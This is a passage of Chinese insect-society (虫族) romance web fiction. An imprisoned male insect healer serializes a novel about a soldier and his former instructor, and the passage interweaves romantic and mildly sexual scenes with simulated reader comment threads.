不然,被时代的车轮先碾碎的,将会是他和他的雄虫。 在高强度的工作和精神压力下,卡西安的精神状况每况愈下。 他的雄主只有C级,没法给他做精神梳理。 艾拉承受的压力更大,他将所有时间都用在了训练室,逼着自己提升,压榨所有潜力,一次次冲击B级的门槛。 只要突破B级,他就有给卡西安做精神梳理的可能。 但等级哪里是那么容易突破的。 多少雄虫终其一生都原地踏步。 更何况一只本就有基因缺陷的雄虫? 白化雄虫看似脆弱,实则内心坚韧,不然也无法一路从F级走到现在。 如果再给艾拉十年、几十年,他未必不能做到。 但时间太紧,他也太着急了,对自己逼得太紧。 卡西安无数次劝他停下,但并不能改变他的主意。 终于,卡西安的精神状况达到某个危险的临界值…… 尤利西斯看着日渐憔悴的卡西安,并不想失去这样一位能干的议员长,于是提出为他安排一只雄虫。 这成了压垮骆驼的最后一根稻草。 艾拉自杀了。 他不是没有考虑过让卡西安接受其他雄虫的精神梳理。对他来说,卡西安好好的比什么都重要。 但他知道卡西安不会接受。 在某些事情上,卡西安执拗得过分。 固执地将一生绑定在他这只低等级雄虫身上。 于是,他用他的死亡换来卡西安的解脱。 他从此自由。 23 雄虫新兵x昔日教官16 能改变世界的从来不是个人,而是这个世界的每一份子。 安若宛如打了鸡血,特别急切地想要做点什么。 于是,他用终端联络上监狱管理者。 “少将!我感觉我现在的状态很好,请给我再来20个军雌!啊不,50个!” 收到消息的乌列尔:“……” 若不是对这位阁下的性格已经有所了解,他会以为雄虫想在监狱囚室里大搞群P。 乌列尔耐心劝道:“阁下,您已经以远超同等级雄虫数倍的工作量完成了今日任务。我知道您心系军雌的精神状态,也请您保重自己的身体。您远比其他任何事物都更重要,您好好的,才是长远可持续发展。” 乌列尔少将好像把什么心里话给说出来了…… 安若看眼最后一句话,默默将视线移开。 他果然是监狱里最贵的一台设备。 他自我认知清晰,倒也不算太诧异,对此接受良好。 “我觉得我已经突破A级了,能承担更多军雌的精神梳理任务!” 乌列尔对雄虫突破A级这点并不意外,反倒是诧异他会直接说出来。 对方每日所做的精神梳理不仅远超B级雌虫,也超过了A级雌虫的任务量。 如果这乌列尔没察觉异样,那才是真有问题。 其次……对方真的很漂亮。 虫族等级越高,各方面都会越出色,包括外形容貌。 这一点在雄虫身上表现得尤为明显。 毕竟是从原始时期就携带的求偶基因,在千万年进化历程中依旧保留了下来。 雄性总是很清楚怎样利用外貌的优势将基因流传下去。 雌虫最初是兵虫,没有繁衍能力,也没有与雄虫交酉己的资格。在很长一段时间里,雌虫的进化方向是不包含容貌的。 直到最后一只虫后消亡,没了虫后信息素的压制,兵虫获得生育能力,成为完整的雌虫,能够与雄虫交酉己繁衍,才注意起对外表的提升。 早在第一眼见到这只雄虫,乌列尔就发现对方漂亮得过分。 跟资料中所见完全不同,像是换了只虫一样。 如果不是还能从边边角角里找到一些相似处,乌列尔都要怀疑审判庭往他这送错虫了。 最后,他只能将这归咎于雄虫中途晋级了,以及……实在不上镜。 这么久以来,雄虫疑似晋级的事他一直没有上报,也没有让对方重新进行等级测定,雄虫戴的还是B级抑制器。 这其实是一件很危险的事。 不加以限制的话,A级雄虫能用精神力放倒监狱的看守军雌。 一旦出现雄虫袭击军雌越狱的事——虽然成功性几乎为零——他将难辞其咎。 但雄虫实在是太配合了,做的也实在是太多了,他愿意睁一只眼闭一只眼,不去戳破。 在权限范围内给予雄虫多一点自由。 取而代之的是他每天都得守在监狱里,盯着雄虫的所有动向,对方来回治疗室他都得亲自护送。 好在这是一只省心的雄虫,并没有脑子一热做出袭击军雌越狱的事情来,他用他的精神力做的最多的事情是……写小说。 乌列尔想到这就面色古怪。 他有时候真的想不通这只雄虫究竟是怎么想的,他到底想要做什么。 就像他想不明白,雄虫藏得好好的,他也乐得当看不见,对方又为什么突然将自己晋级的事情抖出来? 总不可能就是为了多给几个军雌做精神梳理吧? 有些事情,不捅破就能睁只眼闭只眼,当做不知道。 捅破了就只能按规矩办事。 乌列尔回复:“原来阁下突破了,真是恭喜。我会尽快为阁下准备新的等级检测,还请您在接下来一周里早睡早起、切勿劳累,保持好的精神状态,以免影响等级检测的准确性。” 安若对着这回复看了两遍,才确认对方的意思。 横竖就两个字:不批。 且接下来一周他都别想做任务外的精神梳理。 安若对自己的贵重有了新的认知。 他这台“设备”太重要了,重要到乌列尔不愿冒任何风险,唯恐折损他的使用寿命。 如果可以的话,监狱怕是想把他当传家宝一样世世代代传下去,传个999年——前提是他能活这么久。 精神梳理不让做。 安若旺盛的精力不知道往哪用。 最终还是往书桌前一坐,打开光屏,写小说。 故事也该进一步发展了。 · “安”全靠灵感写作,更新时间并不固定。 雌虫们只能一边刷着星网一边等更新,不时就去小说页面瞄两眼,刷新一下,没刷出新章就继续去星网上看相关讨论话题。 这两天,除了教官中“珍珠与蚌”的小说解析外,热度最高的话题就是“深度标记”。 雌虫们最关注的话题还是“深度标记”。 深度标记在虫族不算秘密,但算小众知识。 它离普通虫的生活太过遥远。 深度标记的要求太过严苛,能达成的虫少之又少。 就像是治疗癌症的特效药,它存在着,但大部分虫终其一生都难以遇到自己的那颗药。 即使如此,当“深度标记”以这样的方式出现在大众视野中,还是掀起了一轮基因匹配热氵朝。 雌虫们更加关注与雄虫的基因适配度。 雄虫们也频繁收到约会申请。 当适配度高于90%,雌虫能主动申请跟雄虫约会,仅有这一次机会。 雄虫只要是心情不是太差,也愿意看到适配度的份上出去见见。 见面后相处后,如果对彼此印象不错,当天就能找个酒店进行深度交流。 而雌虫们也很快发现,深度标记所要求的契合度,跟基因适配度没有必然关系。 不是说基因适配度高,契合度就高了,就能进行深度标记了。 这是两码事。 原本以为能得到精神锚点的雌虫,说没有心理落差是假的,但看着身边熟睡的雄虫,又觉得这样也挺好的。 [果然,深度标记是童话,生殖腔标记才是现实(点烟)。] [跟适配度高的雄虫睡觉爽死你了吧?装货!] 连雄虫都没约到的雌虫很酸。 有结婚多年的雌虫出来道: [深度标记没你们想的那么简单,我跟我雄主当年就是因为基因适配度高结婚,这些年来幼崽也一只一只生,但无法进行深度标记。] [所以,深度标记契合度的标准到底是什么?] [是爱吧。] [楼上说的是哪国文字?我怎么看不懂。] [爱这种东西怎么可能存在?别看小说看傻了!] [雌虫爱雄虫的信息素,爱精神梳理,爱虫蛋和幼崽,至于别的……那是能爱的吗?] [雄虫就更不用说了,雄虫怎么可能会爱雌虫?雄虫只爱自己。] [所以,像克莱尔那样的幸运家伙,只存在小说里。] [我就是看这种小说把脑子看坏的(摇头)(叹气)。] [那下次还看吗?《教官》更新了。] [冲冲冲!!!] …… 【席安趴在克莱尔身上,不时戳戳他的脸。 克莱尔一副坏掉了的样子。 可他明明什么都没有做。 席安一出精神域,看着克莱尔这副样子,还以为是他在精神域里乱来,把克莱尔弄傻了。 连忙给他做精神检测,却发现达到了100满值。 这对雌虫来说是一个惊虫的数值。 很多雌虫可能就幼崽期或刚破壳的时候有过这么好的精神状态。 哪怕在席安的预想中,克莱尔都需要慢慢温养一两个月才能彻底养好。 可突然就满值了,还没有丝毫起伏变动,特别稳定。 “克莱尔?克莱尔,你能听到吗?” 席安戳着克莱尔的脸,低声唤他。 遥远的声音穿过重重记忆虚影,传入克莱尔耳中。 克莱尔渐渐回神,目光聚焦在雄虫脸上。 不是信息素弥漫的机甲驾驶室,也不是冰冷封闭的隔离戒断所……他心爱的雄虫趴在他的身上,如新芽般青翠的眼睛关心地注视着他。 “席安……雄主?” 克莱尔彻底清醒过来。 “终于回神了,好些了吗?感觉怎么样?” 席安关心道。 “嗯,好……” 克莱尔也说不清自己现在的感受,大脑特别清凉清醒,视线忍不住往席安脸上看,又有点迷糊,很想亲。 精神上餍足畅快,腹中却觉得空,想要什么填满才好。 他可能是饿了。 克莱尔想。 席安与他视线交汇,像是感知到什么,撑起身来,拉他起床。 “那去吃点东西吧!你想吃什么?” “都可以。” 想吃您。 席安下床的动作一顿,犹疑地回头看他。 目光相对间,克莱尔喉结滚动,低声道:“肉类就好。” 雌虫对蛋白质需求高,更偏爱肉食。 据说雄虫的信息素液蛋白质含量也很高。 克莱尔克制住视线,没有乱看。 席安觉得自己可能是疯掉了。 克莱尔还赤着健壮的身体,他让克莱尔去衣帽间穿衣服,自己先下了楼,步履匆匆。 他怕再晚一步,自己会想喂克莱尔吃点别的。 雄虫走后,房间里骤然空了下来。 克莱尔坐在床上,单手撑着头。 一时觉得自己不清晰,一时又觉得自己过于清醒了。 他的精神状态前所未有地好。 意识无比清明。 所有记忆全部恢复,包括隔离戒断所里的一切…… 他本应戒了对雄虫信息素的依赖。 可是没有信息素,他依旧觉得席安魅力十足,无时无刻不被他所吸引。 其实刚从戒断所出来的那段时间也是…… 席安觉得他对他冷淡,只有克莱尔自己知道,他在克制什么。 戒断所能戒信息素,但戒不了心。 雌虫感知敏锐,席安在克莱尔的感知中存在感尤为明显,不用特意感应,就能知道他的位置。 发现雄虫进了厨房,克莱尔赶紧起身下床穿衣。 家里有雌虫的时候,怎么能让雄虫去做那些繁琐的事?这不符合克莱尔所受到的雌虫教育和规训。 24 雄虫新兵x昔日教官17 [克莱尔什么时候这么会了?] 读者印象中的克莱尔,还是那个床上踢雄主、雄主咬他他推开、雄主摸他他紧绷的性冷淡雌虫。 克莱尔突然表现的这么正常,让他们很不适应。 [精神满值了,智商情商也提高了?] [席安阁下居然抱着他的脸亲!] [这么温柔热情的雄虫阁下,代一下已经爽飞了,不敢想象亲身经历这一切的克莱尔有多爽。] [又是想魂穿克莱尔的一天。] [睡袍席安阁下果然是最撩的!] [高等雄虫阁下穿着居家睡袍烤肉,这简直是梦里的画面,谁高了我不说。] [怎么?军装版不撩吗?那军帽,那军靴,简直是主虫级别的!] [斯哈斯哈,两个都好撩,就连默默在宿舍里捣鼓食物的席安阁下都既可怜又可爱,只要是席安阁下,怎样都撩。] 代入党和雄虫粉因不同的原因斯哈爽飞。 而把小说当学习资料研究的那部分雌虫,更在意其他内容。 [认真讨论:雄虫的一句喜欢有多难得大家都懂,克莱尔不过是提出一个做饭,到底是怎么弄得席安阁下如此心动?] [难道席安阁下喜欢做饭型雌虫?] [可克莱尔的厨艺很烂欸。就算军区食堂的饭菜再难吃,也比克莱尔那及格水平的厨艺好吧?] 众所周知,军校的烹饪课,只要做出来的菜没毒,就能得到“及格”。 虫族还特别耐毒,普通毒素对虫族的身体造不成影响,这个可操作范围可以说是很宽泛了。 [如果不是因为做饭,那答案就只剩下一个——因为克莱尔的军官别墅!] [恍然大悟!] [我也可以给雄虫阁下送别墅(晒房产证)。] [我就说雌虫追不到雄虫是有原因的吧?肤浅!等等……首都星的别墅?!不好意思,是我刚刚说话太大声了,大佬,性别不要限制得太死,亚雌可以吗?(抛媚眼)] [雌虫怎么可能考虑亚雌……没有雄虫信息素和精神梳理的结合对雌虫来说没有任何意义,不如自己买管信息素回来嗨。] 话题完全跑偏了。 有雄虫忍不住出来道: [跟那些身外之物无关,态度和心意最重要,克莱尔说这些,背后的意思只有一个——我喜欢您。席安当然会为此心动。] [也不全是,我也是雄虫,我是真喜欢这个(指房产证),有意加终端号私聊。] 一边是玄之又玄的态度和心意,另一边是明明白白的财力证明。 雌虫直来直去的脑子一思考,觉得还是砸钱更简单。 可砸钱砸不来高等雄虫。 就没有高等雄虫阁下是缺钱的,大把的雌虫愿意捧着钱供其挥霍。 如果想脱颖而出,还是得去研究那玄之又玄的“态度和心意”。 而不靠砸钱就嫁给高等雄虫当雌君的克莱尔就算最好的学习例子。 值得所有雌虫把他当教材和课件翻来覆去研究。 让他们看看教材怎么说…… …… 【克莱尔被亲懵了。 雄虫热情的吻落在他的脸庞、下颚、嘴角……偏偏避过他的唇。 克莱尔听到了自己急促而混乱的心跳声。 就像是一壶即将沸腾的水,烧得他嘶嘶作响、心痒难耐,却又总是差了那么最后一点,温度无法攀升到沸点。 克莱尔克制不住去寻觅席安的唇。 在唇瓣擦过的瞬间,克莱尔听到了沸腾的长鸣,滚滚白烟升腾而起,伴随着微苦的焦香…… 席安的动作也缓了下来,两虫鼻尖相抵,目光在极近距离下交织。 他看到了克莱尔微启的唇,这就像一个邀请,只要再近一步,他就能尝到。 然而,他口中的信息素也可能会引起克莱尔的激烈反应,让克莱尔陷入痛苦。 僵滞之际,他感觉到克莱尔轻贴上他的唇,挤压,靠近,试探…… 冰激凌的冷香混杂着焦苦的涩味。 “哗——”地一声,火苗猛地窜起。 烤得滋哇冒油的焦黑肉排终于在悲鸣中烧了起来。 贴在一起的两只虫骤然分开。 克莱尔手忙脚乱地抢救肉排,急得差点冒汗。 席安看着他慌乱的动作,笑着抱住他的窄腰,身体贴上他的后背,脸抵在他的肩头低笑出声。 感受着背后紧贴的温热身躯,克莱尔动作僵硬,本就不熟练的动作在这会更是乱得没了章法。 雄虫好听的笑声让他的耳朵连带着半边身体都酥了。 他迷迷糊糊地想,席安或许并没有那么讨厌他……至少,对于他们这段婚姻,席安是认真的。 最后,两只虫在厨房折腾了半个星时,肉才烤好。 烤肉的主力是机械管家。 两只虫族起到了一定的添乱作用。 席安并不饿,大半肉排进了克莱尔的肚子。 席安坐在一旁,吸着果汁,单手支着下巴看克莱尔吃。 他们之间很少有这样宁静平和的时刻。 席安想起他刚到第九军区的时候,吃不惯军区食堂的饭菜,训练之余恹恹的,没精打采。 克莱尔出去参加了一场军事交流会,带回来许多精致的水果点心,分发给了他们小队的所有成员,当然也包括他。 当时还有队友一边争抢一边起哄,说上校怎么尽带回来雄虫和小幼崽喜欢的精细点心。 席安握着手里鲜红果子抬头看去,克莱尔始终背对着他,没有回头。 席安抬手咬了口鲜嫩多汁果子,觉得很甜。 多日来低迷的食欲在香甜的果肉和汁水的刺激下尽数恢复。 …… “教官,你再给我制定一份训练方案吧。” 吃饱喝足,席安忽地道。 克莱尔去远征后,他被临时归入其他长官队里。 那些长官顾忌着他是雄虫,都不敢给他上强度,给他的训练方案全是削弱版,把他当小雄虫、小幼崽哄着。 席安是克莱尔一手带出来的,他一叫“教官”,克莱尔就进入身份得特别快。 闻言只是微怔了下,就很快应下。 “好。” 克莱尔行动力很快,他一口喝完杯子里的果汁,起身道: “我需要根据你现在的水平定制方案,去训练室,尽全力攻击我。” “好啊。” 席安早就想跟克莱尔打一架了。 之前顾忌着他的身体状况,现在克莱尔的精神值已经达到100满值,他也可以无所顾忌了。 “我先换套衣服。” 席安起身上楼。 克莱尔看着他的背影,视线在他身上纤薄的睡袍停留一瞬,又僵硬移开。 手下士兵和雄主两个身份结合在一起,克莱尔总是很难处理好两者的关系。 他能做的也只有尊重席安,在训练过程中看护好他,不让他受伤。 …… 克莱尔第120次把席安打趴在地。 简单点评了句:“不错,耐力很好。” 力量和速度也有所提升,已经达到A-级雌虫的基准线。 作为一只雄虫,这是非常不容易的事情。 席安翻了个身,仰面躺在地上,累得一根手指都不想动。 克莱尔的力度控制得很好,既能把席安放倒,又不会让他真的受伤。 席安的天赋能力也和治愈修复有关,他的身体无时无刻不在自我恢复和调整,他的真实情况并没有看起来这么糟糕,主要是心累的。 根本打不过啊! 远征回来后克莱尔明显变得更强了。 之前他跟克莱尔也有差距,但至少能过几招。 而现在……克莱尔这副气定神闲的模样,明显是放了海在跟他打。 说好了要揍克莱尔一顿,结果单方面被吊打的是自己。 席安心中郁闷,躺在地上耍赖。 “不来了!你家暴我!” 家……暴? 克莱尔表情空白了一秒,忙上前查看席安的情况。 他刚走到席安身边,蹲下伸手想要查看,就被席安猛地拽住手一拉,同时被一个扫腿,克莱尔骤然失了平衡,肩膀上推力传来,后背撞上训练室的金属地面。 一切仅发生在一瞬之间。 克莱尔被压着倒在地上。 席安跨坐在他腰上,俯身压制着他的肩,狡黠笑道: “教官,这次是我赢了,你也太掉以轻心了!” 克莱尔注视着身上笑容明丽的漂亮雄虫,发出一声低沉的回应:“……嗯。” 席安也不觉得自己这样用计赢得不光彩。 这可是克莱尔哎,不管用什么方法,能放倒他就很厉害了好吧。 席安笑容灿烂。 一滴汗水顺着他的下颚线滑落,滴在克莱尔颈侧。 一瞬,两只虫的呼吸都停了住。 席安惊愕地瞪着克莱尔颈侧的那一点痕迹。 虫族的汗腺并不发达,他没发现自己出汗了。 汗液同属体.液,同样含有信息素。 席安心中慌乱,紧张地盯着克莱尔,怕他会出现应激反应。 但克莱尔只是在他的注视下慢慢红了脸。 咦? “你没事吗?” 席安摩挲着那一点濕痕,疑惑问。 “嗯,没事。” 克莱尔沉闷应了声,呼吸有些重,肌肉时松时紧,不规律地起伏着。 其实有事。 挺想要雄虫在这里淦他的。 克莱尔放空大脑想。 席安低头凑近,在他颈侧嗅了嗅,冰激凌的冷香夹杂着草莓的果香。 “教官,你是不是……”发晴了。 “是不是对我的信息素适应能力变强了?” 席安问。 “可能是脱敏训练有效果。” 克莱尔悄悄用眸光觑他。 “那可真是太好了,”席安笑,轻轻拂过他的喉结,道:“之后可以比果睡更进一步。” 更进一步。 怎么进? 25 雄虫新兵x昔日教官18 读者为了惩罚还是奖励争了起来。 争的方式是……打赏? 安若:? 果真是壕无虫性。 不过后半部分他早就跟着灵感一起写了出来。 他只写自己想写的东西,再怎么争他也不会改变想法。 为了避免读者直接打得更厉害,他干脆将后半部分一起放了出来。 …… 【淋浴器因启用太久而自发关闭,信息素净化和空气循环系统开始工作。 浴室里的两只虫早已分不清时间,唯一的计时方式只有克莱尔越发含糊不清的口播。 到了最后,席安都觉得克莱尔是在瞎喊数。 他应该没打这么多下吧? 席安大脑发懵地想。 掌心发麻发热的感觉让他分外心虚。 悄悄去瞧克莱尔。他喜欢对称的,下手兼顾,一碗水端平,不偏不倚,于是红得均匀,像熟透了的水果。 淋浴器重新打开,冲洗干净无法被信息素净化器所净化的信息素。 席安找来毛巾擦干身体,伸手想扶克莱尔。 “不用,还能走。” 克莱尔扶着墙壁,声音带着久未开口的干涩低哑,迈开腿时身形晃了一下,面上恍惚出神。 作为优秀的军雌,克莱尔多么严酷训练都接受过,身体抗打击能力极强。 能正面硬接星舰的撞击,能承受岩浆的高温。 他之前一直不明白,强悍坚韧的军雌为什么会撑不住向雄虫求饶。 雄虫的手段再厉害,能有他们受过的训练跟天伽的刑讯手段厉害吗? 现在他知道了,完全不一样。 雌虫在雄虫给予的快乐和痛苦面前都毫无抵抗力。 如果不是雄虫说求饶就会停下,他会哭着求他超他。 即使如此,走出浴室时,克莱尔还是如同踏在云端,脚步轻飘飘的,没有实感。 席安披了件浴袍跟后边,悄悄瞥一眼雌虫高大的背影。 心想克莱尔大概是被打懵了,脑子都成浆糊了的那种,不然怎么会连没穿衣服都没注意。 不过他也没有要提醒对方的意思。 这是在自己家,家里只有他们两只虫,克莱尔想怎么果奔都行。 更何况…… 席安的视线落在克莱尔泛红的臀上。 想到待会要做的事,就更没有提醒的必要了。 快到卧室时,席安快走一步来到前面,为克莱尔打开门,然后让他去床上趴着。 克莱尔这会连魂都是飘的,对雄虫的安排没有任何意见,顺从地趴下,将脸埋进枕头里,等待着即将到来的一切。 雄虫的手指带着清凉的软膏落下。 凉意让克莱尔脑子清醒了些。 先是想,雌虫有信息素,不需要用药膏,他身体已经做足了准备。 然后才发现位置不对。 克莱尔有些懵地回头,就见雄虫正认真地给他抹药。 “……” 他表情空白了几秒,想雄虫是不是对雌虫的身体素质有什么误解。 心情复杂,欲言又止,最后还是忍不住道: “雌虫的身体素质很好,这些不算什么,很快就能恢复,不用专门上药。” 之所以没有立刻恢复,是因为他想把雄虫的痕迹留得久一点,刻意压制住了一部分身体的自我修复能力。 “嗯嗯,知道你很厉害。” 席安嘴上应着,手下动作却没停,抹药的动作特别轻柔,如同羽毛拂过。 挠得虫心痒。 克莱尔又把脸埋了下去,深深呼了口气。 军雌的克制,和雌君应有的持重,让他没法开口向雄虫求欢。 那会显得太过放荡。 席安上完药,戳了戳克莱尔的腰窝,道: “你不排斥我的信息素了?” 他之前把信息素弄到克莱尔背上,克莱尔也没躲,也没踹他。 虽然反应还是比较激.烈,抖得厉害,但不是抗拒他的那种激.烈。 从来都不是排斥。 克莱尔心道。 随着精神稳定,破碎的记忆变得完整,他知道自己当初那般反应的缘由。 他所接受的隔离训练,是对席安的信息素戒断训练。 那三个月的戒断,让他将对席安的信息素、乃至对席安本虫的渴望,与伤害和痛苦化上等号。 是对席安的伤害,也是自己承受的伤害和痛苦。 他不能也不敢碰席安。 是席安救了他。 席安给了他婚姻,给了他雌君的身份,让他能有资格跟他接触。 他给了他精神梳理,还给了他……标记,让他精神清明。 “因为您将自己留在了我的脑海里。” 克莱尔轻声道。 听起来像一句表白的话,特别浪漫。 但席安知道没有浪漫细胞的雌虫真正的意思。 “你是指你精神内景里的那个我?” “嗯。” 克莱尔小声应了声。 是,也不是。 是他精神内景里最初生成的“席安”,但在融合了席安的精神力后改变了。 克莱尔也说不清那是什么感觉,就是觉得……那变成了真正的席安。 席安将他的一部分永久地留在了他的精神内景里,陪伴着他。 让他能压下戒断所留下的本能,突破自己,去接纳席安。 席安其实也能感应到他们之间的连接。 自从昨晚在克莱尔的精神内景里跟他做了些害羞的事情,他就对克莱尔的想法和情绪感知变得格外敏锐。 在雄虫的精神感知中,有一道强有力的联系将他和克莱尔连结在一起。 这种感觉就像是……克莱尔属于他。 独属于他。 这让席安很开心。 他避过克莱尔上了药的臀,趴在他背上,下巴枕着他肩膀,跟他贴贴。 “克莱尔,你是不是……有那么一点点喜欢我了?” 今天一天以来,他感受到的克莱尔的心情都很愉悦。 不管是在厨房还是在训练室。 哪怕是在浴室被他打皮股的时候,他的情绪也是也是高涨的。 些许羞耻难堪混杂在热情的兴奋和期待里,伴随着对他的纵容和心甘情愿,格外美味。 克莱尔闻言微偏过头。 他并不是擅长言爱的性格,不然也不会把跟席安的关系弄得这么糟。 但席安说得太夸张了,让他都忍不住开口。 “怎么可能只有一点点……” “咦?”席安更惊讶。 听起来不止有一点点,还有挺多? “那两点点?” 席安摩挲着克莱尔肩臂的肌肉,试探着问。 他没敢说太多。 克莱尔毕竟是为了精神梳理才跟他结婚的。 克莱尔感受到那一闪而过的酸涩。 连带着他的心脏都泛起了微苦的酸涩疼意。 他不明白这情绪从何而来,但让他慌了神。 “雄主……” 他想要翻身去看身后的席安。 “欸,你小心点,别乱动。” 席安顾忌着他的伤,想要拦住他。 但克莱尔已经翻了过来,他落在了克莱尔胸膛上。 这么躺着皮股要开花了! “没事,别管那些,早就好了,一点也不疼。” 克莱尔拉住想要去查看的雄虫,环抱住他,注视着他的眼睛,认真道: “您是我的雄主,我的一切。” 一句话让他说得跟宣誓效忠一样。 席安一开始不理解,对上克莱尔执着的目光,他忽地明白过来,他是在回应他刚刚那句话。 克莱尔的意思是……他对他的喜欢不是一点两点,而是一切,是全部。 席安从未想过会得到这样的答案,一时怔在当场。 这不对,不应该。克莱尔早就忘记了他,根本没把当年小雄虫的承诺放在心里。重逢后他也给克莱尔带去了很多麻烦,拖了克莱尔的后腿,克莱尔只是为了精神梳理结的婚,对他也更多的是身为长官的责任,以及雌君的义务。 就算有一点因信息素和过分熟悉产生的喜欢,也不应该太多。 可克莱尔的眼睛和情感都告诉他,他说的才是答案,他是他的一切。 席安心口涌动着饱胀的情感,有想要落泪的冲动。 要是真当着雌虫的面哭出来就太丢虫了。 在意自己在心上虫面前的形象,席安硬是忍了回去,忍得眼睛通红。 “雄主?” 克莱尔被他红眼睛的模样吓到,很是担心。 席安低头看他。 他素来最会得寸进尺。 克莱尔说不止喜欢他一点,他就敢追问两点。 现在克莱尔说他是他的雄主,是他的一切,那么…… “只因为我是你的雄主吗?” 席安趴在他身上,很不讲道理地追问: “不管哪只雄虫成为你的雄主,他都会是你的一切吗?” “不是的。” 克莱尔回答:“只有您。” 他的语气就像说着某个既定的自然规律或者道理一样。 行星围绕中心天体运转,克莱尔只喜欢席安。 26 雄虫新兵x昔日教官19 【克莱尔结束完一场模拟训练,浏览着智能检测数据。 他的精神问题已经完全解决,身体各项数据比之远征前有了全面提升。 克莱尔看向自己的手,张开又收拢,仔细感受着体.内蕴含的力量。 他近日有所领悟。 那是种玄之又玄的感觉,在精神域受损前曾出现过一次……他本以为已经错过、再无希望,但随着精神域被席安彻底修复,这种感觉又再度出现,且变得更加明显。 他隐隐触及S级的边界。 或许只差一个契机。 克莱尔开始考虑回军部复职。 这还需要看席安的意思。 克莱尔倒不担心席安婚后不让他出去工作。 这种情况太罕见。 哪怕是掌控欲再强的雄虫,也不至于不让雌虫出门赚钱。 大多数雄虫都是娶一堆雌虫,把近期最喜欢的留在身边,剩下的赶出门,让他们赚钱供自己挥霍,等过段时间腻了再换一只雌虫回来陪。 雌虫们也很适应这样的方式,轮流出门工作,轮流回家睡雄主。 乃至虫族的假期都会据此弹性安排。 在虫族,雌虫休假回家是很让虫羡慕的事情。 席安不缺钱不缺资源,也暂时只有他一只雌虫,但他绝不是会把雌虫限制在家里的雄虫。 他足够强大优秀自信,不需要在家里的雌虫身上来证明自己的权力。 要看席安的意思主要是……克莱尔想知道席安打算让他在家里陪他多久。 一般受宠的雌虫能在家里陪雄主一个月,特别特别受宠的能陪两到三个月。 说不定还能一举揣上蛋。 克莱尔抬手抚上自己平坦的小腹,若是能怀上席安的蛋…… 红色头发、绿色眼睛的小草莓…… 雌虫的想象力实在有限,克莱尔再怎么努力想,脑海里也只有一个迷你版席安的形象。 Q萌可爱,颜色明丽,活泼好动,或许会骑到他头上。 骑到他头上…… 脑海中有什么久远的画面一闪而过。 克莱尔摇摇头,将其抛到脑后。 很快,他就不用羡慕其他虫家里的幼崽了。 他离跟席安拥有幼崽就只差睡觉了。 “……” 克莱尔骤然低落。 席安还没真正睡过他。 浴室那天都那么近了,可席安最后竟只是将信息素弄到他背上。 他渴求已久的孕囊什么也没得到。 克莱尔认为这是自己做得还不够好。 以至于席安还没决定让他孕育子嗣。 为了打动席安,克莱尔卖力表现。 晨练时给席安最好的训练指导(席安累趴在地,一根手指也不想动)。 亲自下厨,为席安准备丰盛的早餐(没毒,席安还活着,万幸)。 打扫房间,跟机器虫抢活干,不放过每一个角落…… 这是什么? 在打扫书房时,克莱尔在摆满奖章和证书的陈列柜里,看到了一枚明显不属于席安的奖章。 十年一届军团大比的星辰奖章。 上一届军团大比在三年前,那时席安刚参军,早已过了报名选拔时间,当然没能参加。 上上届是十三年,更加不可能。 那枚奖章被放置在最醒目的位置,而席安自己的荣誉却随意地摆在边边角角里,像是在给它做衬。 克莱尔有那么一刻的呼吸停滞。 雌虫将所获得的荣誉赠予雄虫是很正常的事情。 既能在雄虫面前展示武力值,又能向雄虫表达自己的心意。就像是原始时期的兽类带回猎物来求偶。 许多雌虫、尤其是军雌,都习惯于用这种方式来讨好雄虫。 这没什么。 真正让克莱尔心沉下去的,是席安对这枚奖章的在意和重视。 他将这枚奖章放在他自己的荣誉之上。 这也代表着他对送他这枚奖章的虫的在意和喜爱。 “……” 隔着展示柜的玻璃,克莱尔的心沉至谷底。 他告诉自己,雄虫喜欢几只、甚至十几只雌虫都是很正常的事情。 他是最早跟席安结婚的,而且是雌君,不管怎样,他在这个家里都有一席之地。 他未必会输。 可席安至今没有要他,席安跟他结婚也只是本性善良,为了给他做精神梳理。 那只雌虫才是席安真正喜爱的虫。 虫族家庭里多的是空有雌君之名,却并不受雄虫宠爱的雌虫。 年轻漂亮的雌侍们与雄虫寻欢作乐,虫蛋一个接一个地生;掌家的雌君被遗忘在角落,如一尊了无生趣的雕塑,独守空房。 克莱尔仿佛看到了自己的未来。 ……】 克莱尔暗淡无光的未来,让读者们“闻者伤心”“见者落泪”。 [呜呜呜,好惨的克莱尔(我哭了)(我装的)。] [独守空房的掌家雌君——克莱尔。] [年轻漂亮生很多蛋的雌侍——奖章的主虫——克莱尔。] [我从未见过这么既要又要、厚颜无耻的雌虫!] [呵忒——] [唾弃!] [即使克莱尔有免喷权我也要骂他!奖章得主的名字就刻在奖章背面,他但凡拿出来看一眼呢?] 读者们被克莱尔迟钝气到七窍生烟。 虐文他们常看,对雄虫虐雌虫的内容接受度很高。 可克莱尔这算什么?席安阁下还没虐他呢! [我单知道克莱尔太爽了我会生气嫉妒,没想到克莱尔不爽了我更生气(恼)!] [大概是某只虫过着所有虫羡慕的幸福生活,可他偏偏觉得自己很不幸。] [挺好,克莱尔最好吃他自己的醋吃一辈子,席安阁下心里永远有一只他无法触及的雌虫,他每每想到都要辗转反侧,担心受怕,永远不安。] [等到几百年后,幼崽都生了一连串了,席安阁下出趟门,他还要想席安阁下是不是去见他养在外边的老情虫了!] 雌虫们越说越离谱,把围观的雄虫读者都震惊到了。 [不是说雌虫想象力不行吗?我看你们想象力挺丰富啊!] [说的这么煞有介事的,等等,这不会是你们的真实日常吧?] 书评区诡异地安静了几秒,过了一会才有新的评论刷出。 [哈哈,说什么呢,我从来不辗转反侧,睡得可香了。] [就是就是,我雄主出门我从来都很放心。] [有喜欢的雌虫娶回来就是了,没什么大不了的。] …… 【克莱尔也是这么想的,有喜欢的雌虫娶回来就是了。 雄虫本来就会娶很多雌虫。 …… “克莱尔?” 席安顺着感应找过来,见克莱尔站在展示柜前出神。 他对这里太过熟悉,不用看都知道展示柜里摆放着什么,那枚奖章又在哪个位置。 席安的神情有那么一分不自然。 他走过去,握住克莱尔的手,将他往外拉,边往外走边问: “你怎么来这了?” 说着注意到他手里的清洁布,当即道:“打扫的事让机器虫来就好了,你不用费心。” 克莱尔没有错过席安的神情变化。 有惊讶,有回避,也有对他的探究。 雄虫想从他这里探究什么呢? 是他有没有发现他藏起来的心上虫?还是他对此的态度? 作为雌君,需要体察雄主心意,需要大度,需要帮雄主张罗娶雌侍。 “既然喜欢,就娶回来吧。” 克莱尔道。 垂落在身侧的手微微蜷缩,握紧了那张清洁布。 他或许真不该突发奇想去打扫房间。 不然就不会撞见不该知道的内容。 本以为自己能独占雄虫的宠爱一个月,再不济也有半个月,现实却无比残酷。 